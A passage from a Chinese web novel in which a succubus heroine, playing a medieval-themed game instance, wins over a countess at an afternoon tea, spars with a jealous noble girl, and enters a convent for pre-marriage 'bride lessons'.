系统没有对她的未卜先知感到惊讶:【是的。因为这些角色是根据你和白飞烟本人生成的,除了角色身份自动匹配副本内容之外,你们的行为和思考都是本人所做出的。】 也就是说,白飞烟对她的爱也是真实的。或许在现实世界里,他也是这样爱上之芙的。 这个挤奶女工所做的事情,也确实是之芙会做出来的事情。 【对了,我还要提醒你一件事。】系统忽然说,【刚刚那个《女巫之锤》你听到了吗?】 之芙点点头。 【我觉得有点不太妙。】系统说,【副本不会给出无意义的提示,这本书一定和这次副本有关。你知道《巫女之锤》这本书是什么吗? 大约在十五世纪时,黑死病肆虐欧洲。黑死病是一种极度恐怖的疾病,感染了这种病的病人会在几天内浑身长满黑斑地死去,其主要的传播方式是老鼠和跳蚤。但当时的人们无法理解这种恐怖的传染病的病因,也没办法找到它的治疗方案。 感染了黑死病的人会成批地死去,黑死病在几年内就屠杀了欧洲接近一半的人口,数月内就死去六万人。 教会试图控制局面,牧师和神父用草药和花放进面具里来治疗病人,相信洁净芳香的空气能净化病菌。但这当然也是无效的,在死亡面前,失去信仰的人也越来越多。 在黑死病结束之后,教会为了控制局面,凝聚人心,指控一些人“与魔鬼交易,散播疾病”。这些人被称为男巫与女巫,最初被指控与魔鬼交易的人男女均有,几乎一样多。 但在1487年,宗教法官海因里希·克雷默撰写了《女巫之锤》一书,指控女性天生就更加容易被魔鬼引诱,具有天生的欺骗与邪恶。从此男巫就在指控里销声匿迹了。 但最重要的是这本书里有很多判断一个女人是否是女巫的方法,譬如如果一个女人的体重超过了一本圣经的重量,那她就是女巫;如果一个女人有胎记,那她就是女巫;如果用刀刺入一个女人的身体,而三天后伤口仍在,那她就是女巫。如果对一个女人施以极刑,砍手砍脚,虐待身体,她也会承认她是女巫。甚至有一个九岁的女童在被虐待后承认自己是女巫。】 【……】之芙摸了摸自己手臂上泛起的鸡皮疙瘩,人类真恐怖,这么荒诞的事情也做得出来,简直让恶魔都目瞪口呆,【然后呢?被指控为女巫的人会被关禁闭吗?】 魅魔学院就这样罚犯了错的魅魔们。 【不,会被烧死。】系统堪称冷酷地说。【被烧死只是最轻松的刑罚,在整个猎巫运动期间有很多人都被虐待到不堪忍受,承认自己是女巫,以求被烧死解脱。】 【……】 【所以你一定要小心,千万不能被发现什么异常,最好不要被人怀疑是女巫。】 【……】之芙心说,可是我不是女巫,我是恶魔啊。 交易没有中间商赚差价,一步到位。 托着她的手的女仆走上前去,推开了厚重的木门—— 屋里坐着的一堆人不约而同地转头朝她看来,之芙却下意识眯了眯眼。 ……好闪。她的第一反应是这个。 屋里亮着明亮而温馨的暖黄色灯光,布置得温馨异常,看起来就像是一场普通的温暖的家庭下午茶。 ——如果那些女孩子不穿那些华丽到夸张的礼服,不带那些闪闪发光地几乎能刺痛人眼的、镶嵌着硕大宝石的项链与头饰,不做那些高耸到像平地起阁楼一般的发型的话。 无数双眼睛聚焦在之芙的身上,相比之下,她身上穿着的礼服都显得不够华丽、颜色暗沉而灰扑扑的了。 这本该是丑小鸭第一次见天鹅,在天鹅面前出丑的一场戏。 但之芙走进屋里,眨了眨眼。 环视四周,她露出了不解的表情。在众目睽睽之下,她说出了第一句话: “你们的礼服穿着不痛吗?” 第148章 《好消息:莉莉丝降临了!》 “你…… “你们的礼服穿着不痛吗?” “……” “小姐, 小姐!”女仆着急地扯了扯她的裙摆,小声又着急地提醒她,“淑女——淑女!” 之芙:“……” “好好好, 淑女淑女。”之芙敷衍地把扇子遮在面前,提着裙摆稍微弯腰行礼。“下午好。” 这说起来有点封建, 但一想到这是中世纪, 似乎也可以理解——作为女王看重宠爱的贵族,伯爵非常看中礼仪。 贵族们往往有一套规则,譬如晚餐时必须穿正装, 外出也有对应的服装, 下午茶时需要穿什么衣裙、带什么首饰,做什么发型, 和朋友、长辈、侍从与管家之间又该用什么态度, 用什么敬语。 这些都是默认的潜规则, 不会有人好心开口讲解, 因为做不到的人就是该被排斥的异类。如同栅栏里的羊, 所有人都被圈养在羊圈里自娱自乐,相信着自己定义的“规则”。 但很不幸,之芙不是羊圈里的羊, 她是一个生活在原野上的挤奶女工。什么礼仪什么仪态对她来说还不如中午多吃几碗饭, 所以她不仅对此一窍不通, 还十分的不屑一顾。 这一次面对伯爵夫妇的会面, 白飞烟当然也有办法。衣裙珠宝只是最基础的,最重要的是他买下几个女仆跟在之芙身边, 让她们看着之芙,教她礼仪,别让她在宴会上露怯。 四周一片寂静, 片刻后,之芙看到了坐在众人中间的一位十分突出的贵妇人—— 她一头保养得宜的银发一丝不苟地盘在头顶,精致的脸上不见风霜,只有些微的皱纹展示着她经历过的岁月。 但最容易让人注意到她的是,她穿着一身简约而舒适的衣服。更准确来说,这一身衣服并不算简单,甚至对于普通人来说算得上华丽,但在一屋子闪亮亮的宝石钻石面前仍然显得朴素。 但之芙一眼就看出来,她的衣服没有奇怪的钢制裙撑,没有刑具一般的束胸,这样的衣服一定很舒适。 在这种场合,能穿这样的衣服,代表她的身份绝对不简单。换一种说法,这里所有穿着令人窒息的漂亮裙子的女人,都是她的人偶,为了讨好她而来到这里。 她的身份已经不言而喻了。之芙朝她微微行礼,露出一个灿烂的微笑道:“日安,夫人。” 对方微微一愣,这似乎也是她第一次见到之芙。 【我要让她喜欢我吗?系统?】之芙趁机在脑海中问系统。这看起来像是副本对于他们的第一道考验,如果不能让白飞烟的父母喜欢她,剧情就无法进行下去。 【是的。】系统给了肯定的回答,【如果前置条件没法完成,任务和危机就不会进行下去,虽然不会有危险,但也无法离开游戏,你要尽快完成游戏。虽然我们改进后的游戏仓会提供基础的维生服务,你几乎可以无限期地在游戏内停留,但如果躺得太久,肌肉会萎缩,这不利于你的身体健康。】 所以这也是游戏仓的一种功能。之芙想,大概在他们还没开启“疗养院”计划的时候,游戏玩家们没有这种保障,游戏会更加危险。 【懂了。】之芙在脑海中摩拳擦掌,【今晚就给你搞定。】 系统在她的脑海中发出了嘈杂的杂音,大概因为她异常笃定自信的态度而卡顿了一下。 之芙才不管这些,就算这些人不喜欢她,她也能直接上外挂——拜托,她可是魅魔耶!这不是专业对口是什么? 【好孩子,坐到我身边来。】夫人朝她招招手,之芙顺着她的指引,穿过虎视眈眈的人群,坐在了她的身边。 在她身边,之芙更能感受到她的身份的尊贵。这些看起来就养尊处优的女孩子们几乎成一个月牙状把她围在中间,而且每个人都身穿异常华丽的服饰。 【这看起来像是……】 【鸿门宴。】系统肯定地接话,【或者说,相亲?】 如果是常规的下午茶会面,大家不会穿得这么隆重。而且也不至于没有一个男性,全是和之芙同龄的女孩。 请这些女孩儿过来,要么是给她一个下马威,要么是给白飞烟挑更适合的妻子。 【从某种意义上来说,这些女孩跟你是竞争关系。】系统说。 【……我还以为对于人类来说,爱情是很私密的东西。】之芙说。 【这是当然的。】系统解释,【但是这里是中世纪,没有自由恋爱这种说法。男女双方一般是由父母指婚,在结婚前,这些准夫妻可能甚至没有见过对方、没有和对方说过一句话,大部分时候双方只是在舞会上跳过一场舞,这就足够了。 特别是对于这些贵族而言,在西方,贵族拥有情人是很常见的事情,所以妻子只是一个头衔,往往只做联姻时保证家族联合、诞下纯正血脉的孩子的用途。 这些女孩子,与其说她们爱着白飞烟,不如说她们爱着伯爵家族的地位和钱。】 【……】之芙喃喃道,【看来白飞烟的钱比他这个人受欢迎一点。】因为连游戏里的这个“之芙”也是一样地爱着他的钱。 【是的。】系统赞同,【如果不是为了他的钱,游戏里的“之芙”不会委曲求全地站在这里。】 他好像在内涵谁。之芙还没指出来,身边的贵妇人便拍着她的手,轻声细语地询问:【小姐,今天的午餐和你的胃口吗?】 之芙张了张嘴,刚想说她忙着被人梳洗打扮,还什么都没吃呢,站在一旁的女仆就用力地咳嗽起来:“咳!咳咳咳!” 系统立刻在之芙的脑袋里解释道:【这是伯爵夫人对你的考验。淑女是不可以抱怨的,中世纪的人们认为贪婪不是一种美德。特别是客人不能向做客的主人家抱怨,无论对方招待你什么,都是上帝赐予同胞的食物。】 之芙心说所以我没有吃到上帝赐予的食物是因为我是恶魔吗? “吃得很好,夫人,感谢您的招待。”之芙说。 贵夫人却久久地凝视着她的眼睛,直把她都看到莫名其妙,才捂住嘴,“噗嗤”一声笑出来。 她拉过之芙的手,轻轻地拍了拍:“噢,亲爱的……别为难自己了好吗?” 之芙一怔。对方的态度和她想象的似乎不太一样。 “想说什么就说吧,这只是一场普通的宴会。上帝会原谅稚子的心直口快。” 之芙看向周围围坐一圈的女孩儿们,意思很明显:这……只是一场普通的宴会? 贵妇人拍了拍她的手,笑眯眯地,没有答话。她看起来很是慈祥,不像是会伪装的那种人类。 但之芙还是没有放下心来,羊圈里的羊也很会伪装无辜。她动了动鼻子,嗅到了一些奇怪的味道,有点刺鼻,有点尖锐,像是……审视的味道。 她想了想,半真半假地抱怨道:“夫人,中午我根本没来得及吃东西呢!梳妆打扮花去了我一个早上的时间,如果您允许的话,我希望能在下午茶里吃些点心。” 她话音落地,就见贵妇人眼里的笑容变得更真实了些。 她用一种颇为满意的慈爱的表情看着之芙,说:“当然可以!亲爱的,希望你的束腰不会影响你吃点心。” 果然。 这也是一场考验,她能接受一个淑女的孩子,也能接受一个直来直往的孩子,但不能接受一个说谎的孩子。 “别紧张。”贵妇人用眼神示意之芙身侧想要阻止她的女仆们——这些“上等人”的规矩是,下午茶是不能真的吃什么的。这只是一种夫人小姐们社交手段,要在群摆间展现自己的风度和优雅,吃东西这种事情当然不位列其中。 她“呵呵”地轻笑了几声,又拍了拍之芙的手:“去吧,下午茶的甜品放在那边。跟小姐们好好聊聊,你是新面孔,大家一定很欢迎你。你可以跟她们讲讲你在庄园里的趣事……这些娇小姐们成日里在舞会里转圈圈,对原野上的花草一定很感兴趣。” 她说的话似有深意,但看上去只是个温柔的长辈对自己宠爱的孩子的劝告,之芙有些迟疑地看向她,又见她鼓励似地对她点点头。 之芙也确实饿了。她没有说谎,这具身体一早上都没有吃东西,就是为了穿上礼裙的时候显得瘦一些。她可不亏待自己,向贵妇人告别之后,之芙示意女仆别跟着自己,说罢就提起裙摆,朝人群中走去。 这是一个朝外开门的花厅,再往外走就是又大又美丽,盛开着无数鲜花的花园,精致美丽的餐桌摆在靠门的地方,坐在那里可以一边享用甜品一边欣赏花园。 餐桌上的甜品精致又整齐地摆在白色的骨碟上,向人们宣告着自己无人问津的事实。 一旁的小姐们提着裙摆,她们跟着她一起走出了花厅,却也不理会她,而是三五成群地聚在一起,窃窃私语着,打量着她,似乎在等待这位卑微的挤奶女工主动去向她们搭话。 之芙当然也不理会她们,比起这群娇小姐,现在更重要的是填饱自己的肚子。 她找了个风景秀丽的地方坐下,甩开自己的又重又沉的裙摆,侍从适时递上餐具和苦茶,她头也不抬地、斯文而狼吞虎咽地开吃。 这里的甜品师口味很差。之芙吃了两口就这样评价这一桌的甜品,作为一个现代人她的胃口早已被那些不太健康却非常美味的现代科技养叼了,对自己面前这些不够松软又过度甜腻的甜品不甚满意。 还是现代好啊,科技真是人类伟大的发明。她感慨着,即使是恶魔都难以消化这满嘴的甜味。 看她吃得这么香,又对其他人的审视完全不为所动的模样,三三两两地站在一边的娇小姐们有点坐不住了。 之芙察觉到了她们又鄙夷又羡慕的眼神,下一秒,眼前盖下一片阴影,一个穿着华丽的女人一屁股坐在了她的面前。 之芙抬头,这也算半个熟人,之芙对她有印象。在所有娇小姐之中她似乎最受尊敬,穿着比别人华丽夸张不说,还总是站在人群的最中心,隐隐有被人拥簇的意思。 只见对方满脸挑剔地看着她,举起戴满了戒指和手镯的手,往骨碟一指:“喂,你真的有那么饿吗?” 之芙点点头,咽下嘴里的甜品。 “这东西就有这么好吃?真是乡下来的……” 之芙还没等她说完后半句话,就插起一块甜品,塞进她的嘴里,堵住了她的话语。 “真的好吃,你尝尝不就知道了?”她笑眯眯地说。 娇小姐大为震撼,连眼睛都“不淑女”地瞪大了,手指着她,嘴里“呜呜呜”地说着什么,但很可惜,她嘴里塞满了蛋糕,要把东西吞下才能说话。 她“呜呜”了几句,指着她的手慢慢地放下了,“呜呜”的声音也渐渐消失了。 她若有所思地嚼着嘴里的甜品。 她一边嚼,一边看着笑眯眯地打量着自己的之芙,红了脸:“还……还可以!当然,我家里肯定有更多比这个更好吃的!哼,你别得意……” 之芙:“……” 孩子啊,说出这个好吃你也是受苦了。 第149章 《好消息:莉莉丝降临了!》 或许我们…… 大约是看出了之芙表情里的怜悯, 女孩愣了愣,脸颊急速红温,椅子发出“咔哒——!”地一声巨响, 她猛地站了起来,碰倒了椅子。 “你……你那是什么表情!乡巴佬!” “……”之芙摸了摸自己的脸, “你觉得这个好吃吗?” 似乎她的反应出乎了女孩的预料——她本来觉得之芙应该很生气或者很伤心才对。 “当、当然……”女孩很快找回淑女的从容, 趾高气昂道,“这可是伯爵大人家的甜点师!” 之芙有点被她逗笑了。这个女孩嘴上功夫厉害,但明明就是傲娇嘛。 “你、你笑什么!” “你肯定没有吃过原野上的甜点。”之芙笑眯眯地看着她说, “把芜菁、萝卜、燕麦和应季的野草煮进粥里, 熬到米粒浓稠后捏成小球晒干。你知道那是什么味道吗?” 她一个字一个字,慢吞吞地说着记忆里的“之芙”吃过的东西, 随着她的讲述, 对面的女孩不由得跟着她的叙述开始想象那到底是什么味道, 一时有些呆住了。 她的眼神看起来很向往, 脸上的红色还没有散去, 保持高高在上的着讥讽的表情。 像是嘲笑又羡慕着。 但很快,她从之芙的眼睛里看到了自己的模样,自觉失态, 她猛地推开桌子, 脸又红了, 一句话也没有说, 甩下一句:“谁要吃那种东西!”就转身离开了。 之芙:“……” 之芙下意识地躲了一下她转身时扬起的裙摆。好险,差点被打到, 她的言语攻击没有伤害到之芙,但她的裙摆差点物理攻击到她。 女孩儿很快提着裙摆,雄赳赳气昂昂地离开了——如果她的耳朵没有红透的话, 她的姿势看起来倒也真像那么一回事。 见到她走了,周围一直若有若无地注视着她们的视线终于大胆了起来。 之芙坦然自若地吃着甜到糊嗓子的甜点,等待第二个主动跟她搭话的人。 没多时,就有两三个小姑娘你推我我推你地走上来了。 她们互相推挤着,小声地说着悄悄话,其中两个人用力地把她们之中看起来最小的女孩儿推到之芙的面前。 “那个……”女孩涨红了脸,她看起来有点腼腆,“你叫之芙,对吧?” 之芙点点头。 “那个……”好吧,看起来不是只有一点腼腆。她看看之芙,又看看之芙手里的甜点,犹豫了半天,憋出来一句,“这个真的不好吃吗?你说的那个什么什么萝卜的……好吃吗?” 之芙眨了眨眼说:“不好吃,我逗她的。” “啊!”女孩小小声地惊呼,周围原本不敢上前来的两个女孩也围了过来,“真的吗?真的不好吃吗?你真的是骗她的吗?” 逗逗小姑娘的事情,能叫骗吗?“真的,你们真的觉得平民吃的东西比贵族的好?我们一般……就喝点粥什么的。” 在中世纪,只有贵族才能吃到肉和甜品,贵族们把打猎权紧紧地握在手里,平民哪怕猎一只鸟、一只兔子都会被砍掉双手,大部分时候只靠野草和稀粥果腹。 毕竟这里是农业社会,农业社会的下限和工业社会的下限绝对没有可比性。在这里,平民不可能跟贵族过一样的生活。 “什么粥?”娇小姐们期待地看着她。 “就是……我们会煮上一锅粥,并保证灶火日夜不息,每天有什么食物就丢进去炖煮,有什么吃什么。一锅粥大概吃上一个星期才熄灭灶火。” “啊……” “那会好吃吗?” “一般不好吃。”之芙说。 几个娇小姐你看看我我看看你,然后异口同声地惊呼:“那你完蛋啦!” 之芙:? 其中一个人说:“你不认识刚刚那个人,她是特蕾莎侯爵的女儿,喜欢子爵大人很久了。她那么针对你,肯定是看不惯你。” 【你可以把侯爵当成伯爵的上司。】系统及时为被一大堆称呼绕晕的之芙解说,【子爵是指伯爵的后裔,她说的是白飞烟。】 之芙问:“她真的那么喜欢白飞烟?” “是啊。”小姐告诉她,“他们是青梅竹马,不过,子爵大人似乎并不喜欢她。嗯……或者可以说,子爵大人不喜欢任何人吧。反正自从……那件事之后,子爵大人就不喜欢见人了。” 她说的那件事,应该是游戏里的白飞烟断腿的事情。 这也正常,一个人如果出生来能跑能跳,却被无情地剥夺了这个能力,任谁也会颓丧起来。 “不过您不用在意她!”其中那个看起来特别腼腆的小姑娘鼓起勇气说,“她已经跟阿丽莎伯爵夫人的孩子订婚了,马上就要进入修道院学习新娘课程,所以……她不会打扰您很久的。” “修道院?”之芙敏锐地从她的话语里捕捉到了一个可能跟副本有关的台词。 “我也不是很清楚……”那个女孩儿说,“是我妈妈跟我说的。在结婚之前,准新娘都要去修道院洁净身体和灵魂,还要在修道院接受神父的教诲,学习新娘课程。特蕾莎也是准新娘,不会有例外的。” 之芙若有所思。 她也要去那个地方,学习什么奇怪的“新娘课程”吗? 答案很快就被揭晓了。 到了傍晚,伯爵夫人一直拉着她的手说话,漂亮的女孩儿们则陆陆续续的告辞离开,她们在走之前还面露遗憾。之芙正奇怪她们的表情,只见最后一个女孩儿跟随管家离开,伯爵夫人才笑了笑,她似乎知道之芙在想什么:“没见到人,遗憾罢了。” 与此同时,门外响起了轮椅的轮子碾压过后地毯的细微响动。 大门被侍从推开,熟悉的人推着轮椅慢慢地走了过来。 “母亲。”他客气地说。 来人正是白飞烟,他也穿着一身华丽的中世纪贵族衣服,脸色有些苍白,眉宇间更是充满了疲倦,一看就是长期失眠和抑郁暴躁的人。 伯爵夫人询问身旁的侍从时间,拍了拍手微笑着说:“晚餐也准备好了,要一起用餐吗这位可爱的小姐?” “当然。”比她先说话的是白飞烟。在看到之芙的那一刻,他的精神头就好了不少,声音非常坚定,“她还没见过父亲。” 他推着轮椅到了之芙的身旁,旁若无人地拉起之芙的手,贴在自己的手上。萦绕在他周边的紧绷的阴郁很快变成了止不住的放松和笑意。 “别心急,总会见到的。”伯爵夫人也和蔼地笑着说,“我很喜欢这个孩子,你父亲也会喜欢的。” 之芙不知道她为什么要说喜欢自己,她和她的接触其实并不多,只有下午也就罢了,在这一个下午之内,她们也只是就这样坐着,喝喝茶,随意地聊着没什么营养的天。 她们甚至很难在这些这短短的一个下午互相了解,“喜欢”又从何谈起呢?这真的不是一个母亲对自己疾病缠身的孩子的愧疚和妥协吗? 但之芙看向对方,却从对方的眼里看到了真情实意的欣赏。 “刚刚你跟特蕾莎小姐的对话,侍从可都告诉我了。”伯爵夫人道,她脸上的微笑更甚,像是想起了什么有意思的事情,“之芙小姐,你也看到了,我的孩子不喜欢跟人说话。但你很好,如果你能像对特蕾莎小姐那样……稍微逗一逗我的孩子,让他别总是那副古怪的样子,如果可以的话我真想要感谢你。” 之芙愣了一下。 就这么……轻松? 如系统所说,中世纪贵族并不缺少情人,妻子的位置是留给联姻家族的,她还以为伯爵家只会允许一个挤奶女工做情人呢。说实话,如果只看身份的话,在中世纪,允许贵族和贫民保持情人关系都已经是大逆不道了—— 中世纪的贵族非常在意血统,他们认为贵族之间必须互相联姻以保持血统的纯正性,但中世纪医学不发达,没人知道近亲生子会造成很多遗传病,在中世纪贵族中,因为遗传病死去的孩子并不少。 “别那么惊讶。”伯爵夫人说,“我的孩子求了我很久。作为一个母亲,还有什么是不能满足孩子的呢?” “对了,在见你的父亲之前,或许我们应该一起讨论一下,新娘课程选在哪个修道院好?我想,特蕾莎侯爵夫人为她选择的修道院就很不错。” ……果然。 之芙已经猜到了,伯爵夫人如此轻易地就同意他们的婚姻的根本原因,是因为要她去修道院。 那里,才是这个游戏的主场。 第150章 《好消息:莉莉丝降临了!》 之芙眨了…… “这个家族里的人都有点奇怪, 你要小心。” ——这是白飞烟和之芙单独相处时,说的第一句话。 “那里奇怪?” 他们现在正在去往教堂的马车上。中世纪的马车还很颠簸,马车前还有驾车的车夫和管家, 之芙不得不和白飞烟挨得很近,像是靠在他肩膀上说悄悄话似地。 “……我也不好说。”白飞烟也压低了声音, 用余光紧盯着门帘之外的人, 以防被他们偷听到他和之芙的对话。“我总觉得他们的态度怪怪的,只是找不出什么破绽。如果真要说的话……就算是我的直觉吧。” “虽然只是一种感觉,但也不能掉以轻心。”白飞烟认真地说。“是虚无缥缈的直觉在很多时候救了我, 让我活到现在的。” 之芙知道他的意思。比起只是把这里当做游戏的之芙来说, 作为02号的白飞烟绝对经历过许多她无法想象的游戏副本,人类在生死之间磨砺出的直觉往往非常准确。 “我知道了。”之芙顿了顿, “但是比起我, 更应该小心的人是你吧。我去了修道院之后, 伯爵家的人应该不会跟上来。” 如果这个副本的危机在伯爵家族那边, 在修道院的之芙就不会很危险。 “伯爵会定时派人去检查新娘课程, 而且,这个副本的名字也跟信仰有关……” 所以,教堂绝对不会百分百安全, 不能掉以轻心。 之芙点点头, 两人交换了一些来到这个世界里所经历的事情。 白飞烟是这场游戏的玩家, 他来这里的时间比之芙要早一些, 不过他的经历跟之芙没什么不同:一觉醒来发现自己躺在华丽的大床上,然后在侍从的帮助下起床梳洗, 在这个间隙里他套出了自己的身份和之芙的身份。 至于“新娘课程”他也问到了不少,不过基本就是系统所说的那些,在结婚之前, 新娘都要去修道院洁净身体和灵魂,还要在修道院接受神父的教诲,学习新娘课程。 至于具体是什么课程,对外的说法很模糊,和系统说的没什么区别,大概就是祷告、读书、学习圣经之类的,具体到细节,每个修道院也有不同。 至于再详细的,就无法问到了。而且新娘课程也是不允许新郎和新娘见面,更别提交流信息了,虽然可以写信,但往来的信件也要通过神父的检查。 所以之后,之芙必须要一个人面对修道院里可能发生的危险了。 “我会想办法来见你的。”马车快要到了,白飞烟抓紧时间跟之芙交代着在游戏里的注意事项,“你已经在疗养院里接受过培训了,多得不用我多说……一切小心,如果真的到了无法挽回的境地,你要明白取舍。” 马车停在了修道院门前,管家和女仆帮忙把之芙的行李拿了下来。 修道院的门前早已经有神父和修女在等待了,白飞烟微笑着跟他们寒暄了几句,随后和之芙一起进入教堂内做了简单的弥撒和祷告。 修道院里的人对白飞烟很客气——伯爵家族也是这个修道院的资助人。 “抱歉,我只能送到这里。”白飞烟对之芙说,“等进去之后会有女仆帮你收拾行李和房间,但是她们也不能呆太久,你必须要独自一个人在修道院里生活。” 这点之芙早有预料,在修道院里,就算是女王也不能例外,更别提她们这些本来就是修行和学习的人了。 不多时,女仆铺好了房间,请之芙进入修道院里给她预留的房间。 之芙冲白飞烟点点头,意思是让他放心好了。不必说出来,他们知道现在最重要的是什么。 ——他们要在危险到来前先熟悉环境,搞清楚任何可能与游戏剧情有关的角色之间的关系和性格。 女仆也随着白飞烟离开,接下来的事情就由修女接手了。一个长得又高又瘦的,穿着黑色长袍的修女把她引进了修道院更深处,带她熟悉这段时间她居住的地方。 这里是修道院的最深处,由一条长长的走廊连接忏悔室和修女们居住的地方。走廊又深又幽暗,即使在正午也见不到一丝阳光,只有墙壁上挂着一些蜡烛,幽暗的灯光照亮了极其压抑而逼仄的走廊。 而走廊的两侧分布着一扇扇门,推开门,就是修女们居住的地方了。由于伯爵大人的资助,这里的修女们得以拥有自己的房间,只是每个房间都很小。只有大约五平米的样子,除了一张窄窄的单人床和书桌之外,就放不下什么了。 之芙的房间在走廊的最深处,一侧紧靠着墙壁,而对面则是一扇半敞开的大门,能看到来往的女仆不断进出,把手提箱里的衣服和生活用品整理归纳。 “对面是特蕾莎小姐的房间吗?”之芙记得,特蕾莎也在这个修道院进行“新娘修习”。 “是的。”修女回答她,她说话时低着头,虽然身体又高又瘦,但整个人都裹在黑色的、密不透风的袍子里,像是把自己藏在阴影里。她的头发也包得严严实实,看不清楚她发丝的颜色,浑身上下只有黑与白两种色彩,阴沉得可怕。 之芙很难理解,毕竟人类总是说上帝是来赐予他们幸福生活的,而魔鬼则恰恰相反。 难道幸福就是穿成这样自欺欺人地遮掩自己的欲望和欢乐吗? 之芙问:“我也要穿这个吗?” “是的,小姐。”修女又说。她说话的语气平淡无波,像是一个毫无情绪的机器,“我们已经为您准备好了合适的衣服,在教堂里请不要穿着颜色鲜艳和华丽夸张的衣服,跟我们穿一样的衣服就好了。” 不等之芙回答,她又接着说: “小姐,修道院内禁止争吵和大声喧哗,可以阅读和唱歌,但不许进行过度的娱乐活动。 您身份尊贵,不必参加夜间的祷告,只需如在家一般,睡前祈祷即可。在这里的一切活动和祷告都会有钟声提醒您,不必担心错过。 早晨五点是晨间祈祷时间,八点是早餐时间,早餐时间结束后是学习和劳动的时间,下午五点是忏悔时间,忏悔时间结束后就可以吃饭了。至于晚上,晚上八点是祈祷时间。” 之芙认真地记下了她说的几个时间节点。祈祷和忏悔时间应该是所有修女都在,所以,只有早餐结束后到下午的忏悔之间这段时间是自由行动的。 “学习和劳动时间我们需要做什么?” “这个要看当天的安排,小姐。”修女回复道,她在胸前画了一个十字,虔诚地道,“感谢上帝,感谢侯爵与伯爵大人的赞助,修道院的劳作不会让您感到疲劳不适的,您请放心。” “嗯……”之芙正想说自己其实不是什么娇小姐,从修女露出来的手上的茧子来看,她绝对不会干过比她还重的体力活。 这似乎也可以理解,在中世纪,有很多贵族小姐不想嫁人,就会带着一些钱财来到修道院,立誓将基督视为自己一生的伴侣。 所以,面前这个修女,说不定真的是个大小姐。 她正在胡思乱想着,忽然,走廊的前头传来了一阵趾高气昂地,高跟鞋踏在地上的声音。 下一秒,穿着大裙子走进她的视野的,正是特蕾莎。 她正在指挥着修女把自己的箱子放在地上,一转头,正好跟站在门里的之芙对上了视线。 之芙还没说什么,她就像被踩到尾巴的猫一样炸了毛:“你怎么在这里!” 之芙眨了眨眼:“又见面了,特蕾莎小姐。” 150-160 第151章 《好消息:莉莉丝降临了!》 好想吃……… 和她一样, 特蕾莎也是为了即将到来的婚姻而来到修道院进行新娘修习的。 想到这里,之芙心里对她多了一丝同情。虽然这个女孩嘴毒又傲娇,但之芙并不觉得自己被冒犯, 反而觉得她很可爱——等到游戏结束她就会离开这里,回到现实世界, 她还是那个活在现代社会的、自由无羁的魅魔。 但特蕾莎, 等到新娘修习结束,她就会困在城堡里一辈子,履行妻子这个身份应该做到的职责, 跟一个不爱的陌生男人上床, 为他管家和生孩子,教育孩子。 想到这样压抑无望的未来, 连她现在飞扬跋扈的样子都显得可爱了起来。 “我也要进行新娘修行。”之芙指了指自己说, “你也是, 不是吗?” 特蕾莎眯着眼睛看了看她:“伯爵夫人真的同意你嫁给子爵大人?” “当然。不然我总不可能自己给自己找罪受吧。” “哼, 怪怪的……乡巴佬, 你小心着点,你以为嫁给子爵大人就是攀高枝了么?告诉你吧,这种大城堡里的夫人可不是你能应付得了的, 我劝你不想把命丢了就早点离开这里, 你不知道吗?帝国的每一枚金币上, 都沾着血。” 之芙惊讶于她的敏锐。在和伯爵夫人相处的过程中她没有察觉到对方有什么不对, 看起来只是一个过分担心自己孩子的母亲,白飞烟是从无数血腥里厮杀出来的佼佼者, 他对于游戏的熟练度也只是直觉地察觉了不对劲。 而特蕾莎,她看起来只是个什么都不懂的娇小姐,每天甩着裙摆在舞会里转圈圈的美丽废物。该说不愧是本地人吗?在一句话里就察觉出了伯爵夫人的怪异。 不过, 之芙不可能跟白飞烟分开,她就是为了白飞烟进入游戏的,总不能把他丢在这里吧?她说:“谢谢,不过我相信子爵大人会照顾好我的。” 特蕾莎又哼了一声,她看起来并不喜欢之芙对她说话的语气,只是,她倒是很赞同之芙所说的另一句话:“算你还有点见识,知道这是个受罪的事。” 之芙暗示她:“所以,在这里,就只剩下我们两个人了。” 之芙觉得特蕾莎可以拉拢。毕竟她是个这么敏锐的本地人,肯定能发现一些他们发现不了的问题——宗教信仰类的恐怖小说也好恐怖片也好,和普通的血腥鬼怪片不一样,更多是从心理精神上的压迫,如果不懂这些,真的很容易一头雾水。 而且,她现在和特蕾莎是用同样的身份来到这里的,目的也相同,她们的处境是一样的,为什么不结成同盟呢? 但特蕾莎似乎并没有明白她的意思:“所以呢?哼,真不知道子爵大人是怎么看上你的。” 之芙一愣。呃,她忘了,她们还是情敌呢…… 特蕾莎又上下打量起她来。 之芙今天穿了一身朴素的白裙,乌黑的发丝挽成两个麻花圈别在两侧,用蝴蝶结扎了起来,显得利落又大方,露出了光洁的脖颈,像是天鹅一样优雅。 她没戴花帽,也没有穿裙撑,脱去初见面时那身沉重的衣服收拾,她整个人看起来精神极了,像是一枝蓬勃舒展的野草,看着她的时候两只眉毛高高地挑起,清澈而黑白分明的瞳孔像是一汪清澈的泉水。 看着看着,特蕾莎的颧骨肉抽动了一下,眼神中不由露出了一丝羡慕。但她很快收起表情,趾高气昂地哼了一声,脸却急速地红了。 “不过就是个……乡巴佬!” 她快步退回屋里,猛地关上了门,发出“砰!”地一声巨响。 之芙:“……” 之芙摸了摸鼻子。 没礼貌,她可是现代人!是高贵的现代人,懂不懂?她都没说她是乡巴佬呢。 …… 正午快到了,之芙换好修道院提供的修女服,跟随修女一起走向食堂。 因为侯爵和伯爵的资助,这个修道院并不算穷,至少比那些要靠辛苦劳动才能勉强养活自己的修道院好得多。这里的吃食虽然并不丰盛,但也有稀饭、玉米、白面包等精细食物了。 在吃饭的时候,修女们是不能说话,不能交谈的,如果需要人帮忙拿个面包盘子什么的,就要用手语做交流。长桌的边站着一个修女,拿着《圣经》一遍又一遍地讲述着里面的故事和忏悔,在这里,只要醒着,就不必须无时无刻地接受这种浅移默化的劝导。 坐在这里,之芙有些不舒服——不是因为那个据说“魔鬼听了会痛苦”的经文,也不是因为饭难吃,而是因为……这里太安静了。 所有的人都像是一潭死水,之芙几乎感受不到她们的情绪,没有吃到食物的快乐,也没有对食物的不满,好像她们都只是一个个机器,机械地咀嚼着嘴里生存所需的食物。 ……在修道院里,每天晚上都有个专属于忏悔的时间。吃到好吃的食物要忏悔自己的欲念,对食物不满要忏悔自己的贪婪,就连像她这样心不在焉也要忏悔。 怪不得她们是这个样子。之芙默默地咽下了自己的不适。 她趁机观察了一下这个修道院里的人,这里的修女并不算多,粗略数了一下大约有二十来人,每个都穿着黑白色的修女服,把自己苍白细瘦的脸隐藏在黑暗中。 吃完饭,修女带着她往教堂去。 